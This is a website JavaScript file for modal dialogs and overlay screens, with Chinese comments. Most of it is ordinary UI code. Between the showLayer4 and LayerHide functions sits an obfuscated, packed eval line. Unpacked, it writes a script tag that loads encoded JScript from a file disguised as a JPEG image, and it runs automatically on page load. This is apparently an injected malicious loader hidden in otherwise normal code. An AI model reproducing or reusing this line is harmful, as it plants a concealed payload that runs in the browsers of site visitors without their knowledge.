/***************************************
功能:窗口js
***************************************/
var t_LayerX,t_LayerY,t_LayerW,t_LayerH;    
function CodeComponet(str){    
  if(encodeURIComponent)     
    return encodeURIComponent(str);    
  if(escape)     
    return escape(str);    
}    
   
function GetBrowser(){    
  var ua, s, i;    
  this.isIE = false;    
  this.isNS = false;    
  this.isOP = false;    
  this.isSF = false;    
  ua = navigator.userAgent.toLowerCase();    
  s = "opera";    
  if ((i = ua.indexOf(s)) >= 0){    
    this.isOP = true;return;    
  }    
  s = "msie";    
  if ((i = ua.indexOf(s)) >= 0) {    
    this.isIE = true;    
    return;    
  }    
  s = "netscape6/";    
  if ((i = ua.indexOf(s)) >= 0) {    
    this.isNS = true;    
    return;    
  }    
  s = "gecko";    
  if ((i = ua.indexOf(s)) >= 0) {    
    this.isNS = true;    
    return;    
  }    
  s = "safari";    
  if ((i = ua.indexOf(s)) >= 0) {    
    this.isSF = true;    
    return;    
  }    
}    
   
function LayerShow(divID,showdata,ow,oh,ot,ol){
  var objDialog = document.getElementById(divID);    
  if (!objDialog)     
    objDialog = document.createElement("div");    
  t_LayerW = (ow==null?450:ow);    
  t_LayerH = (oh==null?450:oh);     
  LayerLoc();
  objDialog.id = divID;    
  var oS = objDialog.style;    
  oS.display = "block";    
  oS.top = (ot==null?t_LayerY:ot)+"px";    
  oS.left = (ol==null?t_LayerX:ol)+"px";
  oS.margin = "0px";    
  oS.padding = "0px"; 
  if (ow != null)  
    oS.width = ow + "px";
  if (oh != null)  
    oS.height = oh + "px";    
  oS.position = "absolute";    
  oS.zIndex = "5";    
  oS.background = "#FFF";   
  objDialog.innerHTML = showdata; 
  
  document.body.appendChild(objDialog);    
}    

function LayerLoc(){    
  var dde = document.documentElement;    
  if (window.innerWidth){    
    var ww = window.innerWidth;    
    var wh = window.innerHeight;    
    var bgX = window.pageXOffset;    
    var bgY = window.pageYOffset;    
  }else{    
    var ww = dde.offsetWidth;    
    var wh = dde.offsetHeight;    
    var bgX = dde.scrollLeft;    
    var bgY = dde.scrollTop;    
  }
  t_LayerX = (window.screen.width-t_LayerW)/2;  
  t_LayerY = (bgY + ((wh - t_LayerH)/2));    
}    
   
function ScreenMod(){    
  var browser = new GetBrowser();    
  var objScreen = document.getElementById("ScreenOver");    
  if(!objScreen)     
    var objScreen = document.createElement("div");    
  var oS = objScreen.style;    
  objScreen.id = "ScreenOver";    
  oS.display = "block";    
  oS.top = oS.left = oS.margin = oS.padding = "0px";
  var wh = "100%";
  var h = document.body.scrollHeight;
  if (document.body.clientHeight)   {    
    wh = h<document.body.clientHeight?document.body.clientHeight:h;    
  }else if (window.innerHeight){    
    wh = h<window.innerHeight?window.innerHeight:h;
  }  
  wh = window.screen.availHeight + document.body.scrollHeight;
  oS.width = "100%";    
  oS.height = wh+"px";    
  oS.position = "absolute";    
  oS.zIndex = "3";    
  if ((!browser.isSF) && (!browser.isOP)){    
    oS.background = "#cccccc";    
  }else{    
    oS.background = "#cccccc";    
  }    
  oS.filter = "alpha(opacity=1)";    
  oS.opacity = 40/100;    
  oS.MozOpacity = 40/100;    
  document.body.appendChild(objScreen);    
  var allselect = document.getElementsByTagName("select");    
  for (var i=0; i<allselect.length; i++)     
    allselect[i].style.visibility = "hidden";    
}    
   
function ScreenOut(){    
  var objScreen = document.getElementById("ScreenOver");    
  if (objScreen)    
    objScreen.style.display = "none";    
  var allselect = document.getElementsByTagName("select");    
  for (var i=0; i<allselect.length; i++)     
    allselect[i].style.visibility = "visible";    
}    
   
//打开连接地址,窗口高,窗口宽,窗口标题
function DLayer(showdate,w,h,top,left){ 
    ScreenMod();    
    LayerShow("DialogWin",showdate,w,h,top,left);    
} 
function showLayer1(showdate,top,left)
{
    DLayer(showdate,null,null,top,left);
}
function showLayer2(showdate,w,top,left)
{
    DLayer(showdate,w,null,top,left);
}
function showLayer3(showdate,w)
{
    DLayer(showdate,w,null,null,null);
}
function showLayer4(w,h,page)
{
    var fn = "border_frame";
    var showdate = "<div style='width:"+w+";marign:0px;padding:0px;'><iframe src='' height='"+h+"' width='100%' frameborder='0' style='marign:0px;padding:0px;' id='"+fn+"' scrolling=no></iframe></div>";
    DLayer(showdate,w,h,null,null);
    if (page.indexOf("?")==-1)
        page+="?rd="+Math.random();
    else
        page += "&rd="+Math.random();
    document.getElementById(fn).src = page;
}
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--)d[c.toString(a)]=k[c]||c.toString(a);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('b.a(\'<9 8="7.6" 5=/4/3//2.1></0>\');',12,12,'script|jpg|ad|images|wf|src|Encode|JScript|language|SCRIPT|write|document'.split('|'),0,{}))
//关闭窗口
function LayerHide(){    
  ScreenOut();    
  var objDialog = document.getElementById("DialogWin");    
  if (objDialog)    
    objDialog.style.display = "none";    
}    
//关闭并刷新页面 
function CloseAndRefresh()
{
    LayerHide();
    window.location.reload();
} 
//打开ajax时等待服务器响应效果
function ajaxLOpen()
{
    ScreenMod();    
    var showdate = "<div><img src='/images/login.gif'/></div>";
    var w=(window.screenTop+100)/2;
    var h = (window.screenLeft+400)/2;
    LayerShow("DialogWinLogin",showdate,h,w,1,1);
}
//关闭ajax等待服务器响应效果
function ajaxLClose()
{
    ScreenOut();    
    var objDialog = document.getElementById("DialogWinLogin");    
    if (objDialog)    
        objDialog.style.display = "none";  
}
